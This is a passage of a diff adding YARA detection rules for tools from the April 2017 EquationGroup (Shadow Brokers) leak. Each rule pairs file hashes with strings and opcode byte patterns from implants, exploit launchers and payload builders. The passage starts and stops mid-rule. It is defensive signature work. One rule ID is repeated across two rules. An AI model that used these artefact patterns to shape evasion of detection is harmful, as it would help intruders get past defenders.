+      hash1 = "7ae9a247b60dc31f424e8a7a3b3f1749ba792ff1f4ba67ac65336220021fce9f"
+      id = "c6ae85b6-0670-558c-9ce5-64bd5822f35b"
+   strings:
+      $op0 = { 44 89 20 e9 40 ff ff ff 8b c2 48 8b 5c 24 60 48 }
+      $op1 = { 45 33 c9 49 8d 7f 2c 41 ba }
+      $op2 = { 89 44 24 34 eb 17 4c 8d 44 24 28 8b 54 24 30 48 }
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 2000KB and all of them )
+}
+
+rule EquationGroup_Toolset_Apr17_PC_LP {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      hash1 = "3a505c39acd48a258f4ab7902629e5e2efa8a2120a4148511fe3256c37967296"
+      id = "c3f8f0f9-80ab-5d8e-be42-59b90dc291cb"
+   strings:
+      $s1 = "* Failed to get connection information.  Aborting launcher!" fullword wide
+      $s2 = "Format: <command> <target port> [lp port]" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 200KB and all of them )
+}
+
+rule EquationGroup_Toolset_Apr17_RemoteCommand_Lp {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      hash1 = "57b47613a3b5dd820dae59fc6dc2b76656bd578f015f367675219eb842098846"
+      id = "98ace4d7-edd0-5e84-bac8-b69e5307f567"
+   strings:
+      $s1 = "Failure parsing command from %hs:%u: os=%u plugin=%u" fullword wide
+      $s2 = "Unable to get TCP listen port: %08x" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 200KB and all of them )
+}
+
+rule EquationGroup_Toolset_Apr17_lp_mstcp {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      hash1 = "2ab1e1d23021d887759750a0c053522e9149b7445f840936bbc7e703f8700abd"
+      id = "afa4985e-7c8f-58fc-9881-219ccba6a495"
+   strings:
+      $s1 = "\\Registry\\User\\CurrentUser\\" wide
+      $s2 = "_PacketNDISRequestComplete@12\"" fullword ascii
+      $s3 = "_LDNdis5RegDeleteKeys@4" ascii
+
+      $op1 = { 89 7e 04 75 06 66 21 46 02 eb }
+      $op2 = { fc 74 1b 8b 49 04 0f b7 d3 66 83 }
+      $op3 = { aa 0f b7 45 fc 8b 52 04 8d 4e }
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 100KB and ( all of ($s*) or all of ($op*) ) )
+}
+
+rule EquationGroup_Toolset_Apr17_renamer {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      hash1 = "9c30331cb00ae8f417569e9eb2c645ebbb36511d2d1531bb8d06b83781dfe3ac"
+      id = "b5a7c8a8-c30d-5667-a458-6962a24061d3"
+   strings:
+      $s1 = "FILE_NAME_CONVERSION.LOG" fullword wide
+      $s2 = "Log file exists. You must delete it!!!" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 80KB and all of them )
+}
+
+rule EquationGroup_Toolset_Apr17_PC_Exploit {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      hash1 = "77486bb828dba77099785feda0ca1d4f33ad0d39b672190079c508b3feb21fb0"
+      id = "67a4c8b8-87fb-5f2d-a4dd-299d087c77a3"
+   strings:
+      $s1 = "\\\\.\\pipe\\pcheap_reuse" fullword wide
+      $s2 = "**** FAILED TO DUPLICATE SOCKET ****" fullword wide
+      $s3 = "**** UNABLE TO DUPLICATE SOCKET TYPE %u ****" fullword wide
+      $s4 = "YOU CAN IGNORE ANY 'ServiceEntry returned error' messages after this..." fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 20KB and 1 of them )
+}
+
+rule EquationGroup_Toolset_Apr17_PC_Level3_Gen {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      hash1 = "c7dd49b98f399072c2619758455e8b11c6ee4694bb46b2b423fa89f39b185a97"
+      hash2 = "f6b723ef985dfc23202870f56452581a08ecbce85daf8dc7db4491adaa4f6e8f"
+      id = "c479964c-3122-511d-9410-bc5d890f1489"
+   strings:
+      $s1 = "S-%u-%u" fullword ascii
+      $s2 = "Copyright (C) Microsoft" fullword wide
+
+      $op1 = { 24 39 65 c6 44 24 3a 6c c6 44 24 3b 65 c6 44 24 }
+      $op2 = { 44 24 4e 41 88 5c 24 4f ff }
+      $op3 = { 44 24 3f 6e c6 44 24 40 45 c6 44 24 41 }
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 400KB and 3 of them )
+}
+
+rule EquationGroup_Toolset_Apr17_put_Implant9x {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      hash1 = "8fcc98d63504bbacdeba0c1e8df82f7c4182febdf9b08c578d1195b72d7e3d5f"
+      id = "73cafd51-8b0d-59e3-966d-2f5de65953a7"
+   strings:
+      $s1 = "3&3.3<3A3F3K3V3c3m3" fullword ascii
+
+      $op1 = { c9 c2 08 00 b8 72 1c 00 68 e8 c9 fb ff ff 51 56 }
+      $op2 = { 40 1b c9 23 c8 03 c8 38 5d 14 74 05 6a 03 58 eb }
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 20KB and 2 of them )
+}
+
+rule EquationGroup_Toolset_Apr17_promiscdetect_safe {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      hash1 = "6070d8199061870387bb7796fb8ccccc4d6bafed6718cbc3a02a60c6dc1af847"
+      id = "d6103861-b332-5c21-8408-76b512012689"
+   strings:
+      $s1 = "running on this computer!" fullword ascii
+      $s2 = "- Promiscuous (capture all packets on the network)" fullword ascii
+      $s3 = "Active filter for the adapter:" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 80KB and all of them )
+}
+
+rule EquationGroup_Toolset_Apr17_PacketScan_Implant {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      hash1 = "9b97cac66d73a9d268a15e47f84b3968b1f7d3d6b68302775d27b99a56fbb75a"
+      id = "e49695d9-15ae-53a6-955c-c68402e241a2"
+   strings:
+      $op0 = { e9 ef fe ff ff ff b5 c0 ef ff ff 8d 85 c8 ef ff }
+      $op1 = { c9 c2 04 00 b8 34 26 00 68 e8 40 05 00 00 51 56 }
+      $op2 = { e9 0b ff ff ff 8b 45 10 8d 4d c0 89 58 08 c6 45 }
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 30KB and all of them )
+}
+
+rule EquationGroup_Toolset_Apr17_SetPorts {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      hash1 = "722d3cf03908629bc947c4cca7ce3d6b80590a04616f9df8f05c02de2d482fb2"
+      id = "6dc67951-714e-57d9-b34a-0006348b6b10"
+   strings:
+      $s1 = "USAGE: SetPorts <input file> <output file> <version> <port1> [port2] [port3] [port4] [port5]" fullword ascii
+      $s2 = "Valid versions are:  1 = PC 1.2   2 = PC 1.2 (24 hour)" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 100KB and all of them )
+}
+
+rule EquationGroup_Toolset_Apr17_GrDo_FileScanner_Implant {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      modified = "2023-01-06"
+      hash1 = "8d2e43567e1360714c4271b75c21a940f6b26a789aa0fce30c6478ae4ac587e4"
+      id = "79a3cc02-0cda-59e2-8698-29a6cb0a3061"
+   strings:
+      $s1 = "system32\\winsrv.dll" fullword wide
+      $s2 = "raw_open CreateFile error" fullword ascii
+      $s3 = "\\dllcache\\" wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 400KB and all of them )
+}
+
+rule EquationGroup_Toolset_Apr17_msgks_mskgu {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      hash1 = "7b4986aee8f5c4dca255431902907b36408f528f6c0f7d7fa21f079fa0a42e09"
+      hash2 = "ef906b8a8ad9dca7407e0a467b32d7f7cf32814210964be2bfb5b0e6d2ca1998"
+      id = "1692848d-a8db-5c11-9dc4-f1b0c45a78c3"
+   strings:
+      $op1 = { f4 65 c6 45 f5 6c c6 45 f6 33 c6 45 f7 32 c6 45 }
+      $op2 = { 36 c6 45 e6 34 c6 45 e7 50 c6 45 e8 72 c6 45 e9 }
+      $op3 = { c6 45 e8 65 c6 45 e9 70 c6 45 ea 74 c6 45 eb 5f }
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 300KB and all of them )
+}
+
+rule EquationGroup_Toolset_Apr17_Ifconfig_Target {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      hash1 = "1ebfc0ce7139db43ddacf4a9af2cb83a407d3d1221931d359ee40588cfd0d02b"
+      id = "db8ec377-a9f6-5d75-a123-aa0365d98065"
+   strings:
+      $s1 = "SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces\\%hs" fullword wide
+
+      $op1 = { 0f be 37 85 f6 0f 85 4e ff ff ff 45 85 ed 74 21 }
+      $op2 = { 4c 8d 44 24 34 48 8d 57 08 41 8d 49 07 e8 a6 4b }
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 100KB and all of them )
+}
+
+rule EquationGroup_Toolset_Apr17_DiBa_Target {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      hash1 = "ffff3526ed0d550108e97284523566392af8523bbddb5f212df12ef61eaad3e6"
+      id = "c6ae85b6-0670-558c-9ce5-64bd5822f35b"
+   strings:
+      $op1 = { 41 5a 41 59 41 58 5f 5e 5d 5a 59 5b 58 48 83 c4 }
+      $op2 = { f9 48 03 fa 48 33 c0 8a 01 49 03 c1 49 f7 e0 88 }
+      $op3 = { 01 41 f6 e0 49 03 c1 88 01 48 33 }
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 2000KB and all of them )
+}
+
+rule EquationGroup_Toolset_Apr17_Dsz_Implant {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      hash1 = "fbe103fac45abe4e3638055a3cac5e7009166f626cf2d3049fb46f3b53c1057f"
+      hash2 = "ad1dddd11b664b7c3ad6108178a8dade0a6d9795358c4a7cedbe789c62016670"
+      id = "febc8654-7dc3-5c8b-a53c-f8d7dc29b14b"
+   strings:
+      $s1 = "%02u:%02u:%02u.%03u-%4u: " fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 1000KB and all of them )
+}
+
+rule EquationGroup_Toolset_Apr17_GenKey {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      hash1 = "b6f100b21da4f7e3927b03b8b5f0c595703b769d5698c835972ca0c81699ff71"
+      id = "54e15017-a2f7-5135-af88-b13ea5866c5f"
+   strings:
+      $x1 = "* PrivateEncrypt -> PublicDecrypt FAILED" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 80KB and all of them )
+}
+
+rule EquationGroup_Toolset_Apr17_wmi_Implant {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      hash1 = "de08d6c382faaae2b4b41b448b26d82d04a8f25375c712c12013cb0fac3bc704"
+      id = "e058d2cc-b963-55bc-9bdd-468f64fe8e6f"
+   strings:
+      $x1 = "SELECT ProcessId,Description,ExecutablePath FROM Win32_Process" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 50KB and all of them )
+}
+
+rule EquationGroup_Toolset_Apr17_clocksvc {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      hash1 = "c1bcd04b41c6b574a5c9367b777efc8b95fe6cc4e526978b7e8e09214337fac1"
+      id = "ec0e90a5-1359-55e5-9165-494f90431247"
+   strings:
+      $x1 = "~debl00l.tmp" fullword ascii
+      $x2 = "\\\\.\\mailslot\\c54321" fullword ascii
+      $x3 = "\\\\.\\mailslot\\c12345" fullword ascii
+      $x4 = "nowMutex" fullword ascii
+
+      $s1 = "System\\CurrentControlSet\\Services\\MSExchangeIS\\ParametersPrivate" fullword ascii
+      $s2 = "000000005017C31B7C7BCF97EC86019F5026BE85FD1FB192F6F4237B78DB12E7DFFB07748BFF6432B3870681D54BEF44077487044681FB94D17ED04217145B98" ascii
+      $s3 = "00000000E2C9ADBD8F470C7320D28000353813757F58860E90207F8874D2EB49851D3D3115A210DA6475CCFC111DCC05E4910E50071975F61972DCE345E89D88" ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 200KB and ( 1 of ($x*) or 2 of ($s*) ) )
+}
+
+rule EquationGroup_Toolset_Apr17_xxxRIDEAREA {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      hash1 = "214b0de83b04afdd6ad05567825b69663121eda9e804daff9f2da5554ade77c6"
+      id = "2475778b-1246-5471-b305-a946c253c50c"
+   strings:
+      $x1 = "USAGE: %s -i InputFile -o OutputFile [-f FunctionOrdinal] [-a FunctionArgument] [-t ThreadOption]" fullword ascii
+      $x2 = "The output payload \"%s\" has a size of %d-bytes." fullword ascii
+      $x3 = "ERROR: fwrite(%s) failed on ucPayload" fullword ascii
+      $x4 = "Load and execute implant within the existing thread" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 200KB and 1 of them )
+}
+
+rule EquationGroup_Toolset_Apr17_yak_min_install {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      hash1 = "f67214083d60f90ffd16b89a0ce921c98185b2032874174691b720514b1fe99e"
+      id = "dc648deb-4220-5ec3-b95f-ff6cc463f79b"
+   strings:
+      $s1 = "driver start" fullword ascii
+      $s2 = "DeviceIoControl Error: %d" fullword ascii
+      $s3 = "Phlook" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 300KB and all of them )
+}
+
+rule EquationGroup_Toolset_Apr17_SetOurAddr {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      hash1 = "04ccc060d401ddba674371e66e0288ebdbfa7df74b925c5c202109f23fb78504"
+      id = "a2dbfa7b-3fb6-56cf-9391-1a3abb08e3cb"
+   strings:
+      $s1 = "USAGE: SetOurAddr <input file> <output file> <protocol> [IP/IPX address]" fullword ascii
+      $s2 = "Replaced default IP address (127.0.0.1) with Local IP Address %d.%d.%d.%d" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 100KB and 1 of them )
+}
+
+rule EquationGroup_Toolset_Apr17_GetAdmin_LSADUMP_ModifyPrivilege_Implant {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      hash1 = "c8b354793ad5a16744cf1d4efdc5fe48d5a0cf0657974eb7145e0088fcf609ff"
+      hash2 = "5f06ec411f127f23add9f897dc165eaa68cbe8bb99da8f00a4a360f108bb8741"
+      id = "b3fda153-563c-5a5c-9f5c-12d6ef8b3d95"
+   strings:
+      $s1 = "\\system32\\win32k.sys" wide
+      $s2 = "hKeAddSystemServiceTable" fullword ascii
+      $s3 = "hPsDereferencePrimaryToken" fullword ascii
+      $s4 = "CcnFormSyncExFBC" fullword wide
+      $s5 = "hPsDereferencePrimaryToken" fullword ascii
+
+      $op1 = { 0c 2b ca 8a 04 11 3a 02 75 01 47 42 4e 75 f4 8b }
+      $op2 = { 14 83 c1 05 80 39 85 75 0c 80 79 01 c0 75 06 80 }
+      $op3 = { eb 3d 83 c0 06 33 f6 80 38 ff 75 2c 80 78 01 15 }
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 80KB and ( 4 of ($s*) or all of ($op*) ) )
+}
+
+rule EquationGroup_Toolset_Apr17_SendPKTrigger {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      hash1 = "2f9c7a857948795873a61f4d4f08e1bd0a41e3d6ffde212db389365488fa6e26"
+      id = "6cbf95eb-323c-53a3-9aca-222626add4dc"
+   strings:
+      $x1 = "----====**** PORT KNOCK TRIGGER BEGIN ****====----" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 300KB and all of them )
+}
+
+rule EquationGroup_Toolset_Apr17_DmGz_Target_2 {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      hash1 = "55ac29b9a67e0324044dafaba27a7f01ca3d8e4d8e020259025195abe42aa904"
+      id = "426e982c-2380-5801-ba80-ab25ec4c0f74"
+   strings:
+      $s1 = "\\\\.\\%ls" fullword ascii
+
+      $op0 = { e8 ce 34 00 00 b8 02 00 00 f0 e9 26 02 00 00 48 }
+      $op1 = { 8b 4d 28 e8 02 05 00 00 89 45 34 eb 07 c7 45 34 }
+      $op2 = { e8 c2 34 00 00 90 48 8d 8c 24 00 01 00 00 e8 a4 }
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 100KB and all of them )
+}
+
+rule EquationGroup_Toolset_Apr17_mstcp32_DXGHLP16_tdip {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      modified = "2023-01-06"
+      hash1 = "26215bc56dc31d2466d72f1f4e1b6388e62606e9949bc41c28968fcb9a9d60a6"
+      hash2 = "fcfb56fa79d2383d34c471ef439314edc2239d632a880aa2de3cea430f6b5665"
+      hash3 = "a5ec4d102d802ada7c5083af53fd9d3c9b5aa83be9de58dbb4fac7876faf6d29"
+      id = "5b54e68b-7bf3-59a0-8257-c370a3b9e4db"
+   strings:
+      $s1 = "\\Registry\\User\\CurrentUser\\" wide
+      $s2 = "\\DosDevices\\%ws" wide
+      $s3 = "\\Device\\%ws_%ws" wide
+      $s4 = "sys\\mstcp32.dbg" fullword ascii
+      $s5 = "%ws%03d%ws%wZ" fullword wide
+      $s6 = "TCP/IP driver" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 200KB and 4 of them )
+}
+
+rule EquationGroup_Toolset_Apr17_regprobe {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      hash1 = "99a42440d4cf1186aad1fd09072bd1265e7c6ebbc8bcafc28340b4fe371767de"
+      id = "184618b7-a24c-5a8c-9fb2-a5a07f1a0299"
+   strings:
+      $x1 = "Usage: %s targetIP protocolSequence portNo [redirectorIP] [CLSID]" fullword ascii
+      $x2 = "key does not exist or pinging w2k system" fullword ascii
+      $x3 = "RpcProxy=255.255.255.255:65536" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 100KB and 1 of them )
+}
+
+rule EquationGroup_Toolset_Apr17_DoubleFeatureDll_dll_2 {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      hash1 = "f265defd87094c95c7d3ddf009d115207cd9d4007cf98629e814eda8798906af"
+      hash2 = "8d62ca9e6d89f2b835d07deb5e684a576607e4fe3740f77c0570d7b16ebc2985"
+      hash3 = "634a80e37e4b32706ad1ea4a2ff414473618a8c42a369880db7cc127c0eb705e"
+      id = "f77fd49f-815b-5fb9-a3d7-8721edf79b28"
+   strings:
+      $s1 = ".dllfD" fullword ascii
+      $s2 = "Khsppxu" fullword ascii
+      $s3 = "D$8.exe" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 1000KB and 2 of them )
+}
+
+rule EquationGroup_Toolset_Apr17_GangsterThief_Implant {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      hash1 = "50b269bda5fedcf5a62ee0514c4b14d48d53dd18ac3075dcc80b52d0c2783e06"
+      id = "9127f280-135e-5f83-9587-eab3ad84ad69"
+   strings:
+      $s1 = "\\\\.\\%s:" fullword wide
+      $s4 = "raw_open CreateFile error" fullword ascii
+      $s5 = "-PATHDELETED-" ascii
+      $s6 = "(deleted)" fullword wide
+      $s8 = "NULLFILENAME" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 300KB and 3 of them )
+}
+
+rule EquationGroup_Toolset_Apr17_SetCallbackPorts {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      hash1 = "16f66c2593665c2507a78f96c0c2a9583eab0bda13a639e28f550c92f9134ff0"
+      id = "3c06fc74-2e75-5348-bb62-30c724de1414"
+   strings:
+      $s1 = "USAGE: %s <input file> <output file> <port1> [port2] [port3] [port4] [port5] [port6]" fullword ascii
+      $s2 = "You may enter between 1 and 6 ports to change the defaults." fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 100KB and 1 of them )
+}
+
+rule EquationGroup_Toolset_Apr17_DiBa_Target_BH_2000 {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      hash1 = "0654b4b8727488769390cd091029f08245d690dd90d1120e8feec336d1f9e788"
+      id = "b02fa407-e6f1-5c2d-a587-7edb55dbe0a5"
+   strings:
+      $s2 = "0M1U1Z1p1" fullword ascii /* base64 encoded string '3U5gZu' */
+      $s14 = "SPRQWV" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 2000KB and all of them )
+}
+
+rule EquationGroup_Toolset_Apr17_rc5 {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      hash1 = "69e2c68c6ea7be338497863c0c5ab5c77d5f522f0a84ab20fe9c75c7f81318eb"
+      id = "854c1726-4ba4-5464-a765-4dd154a1b166"
+   strings:
+      $s1 = "Usage: %s [d|e] session_key ciphertext" fullword ascii
+      $s2 = "where session_key and ciphertext are strings of hex" fullword ascii
+      $s3 = "d = decrypt mode, e = encrypt mode" fullword ascii
+      $s4 = "Bad mode, should be 'd' or 'e'" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 200KB and 2 of them )
+}
+
+rule EquationGroup_Toolset_Apr17_PC_Level_Generic {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      hash1 = "7a6488dd13936e505ec738dcc84b9fec57a5e46aab8aff59b8cfad8f599ea86a"
+      hash2 = "0e3cfd48732d0b301925ea3ec6186b62724ec755ed40ed79e7cd6d3df511b8a0"
+      hash3 = "d1d6e3903b6b92cc52031c963e2031b5956cadc29cc8b3f2c8f38be20f98a4a7"
+      hash4 = "25a2549031cb97b8a3b569b1263c903c6c0247f7fff866e7ec63f0add1b4921c"
+      hash5 = "591abd3d7ee214df25ac25682b673f02219da108d1384261052b5167a36a7645"
+      hash6 = "6b71db2d2721ac210977a4c6c8cf7f75a8f5b80b9dbcece1bede1aec179ed213"
+      hash7 = "7be4c05cecb920f1010fc13086635591ad0d5b3a3a1f2f4b4a9be466a1bd2b76"
+      hash8 = "f9cbccdbdf9ffd2ebf1ee84d0ddddd24a61dbe0858ab7f0131bef6c7b9a19131"
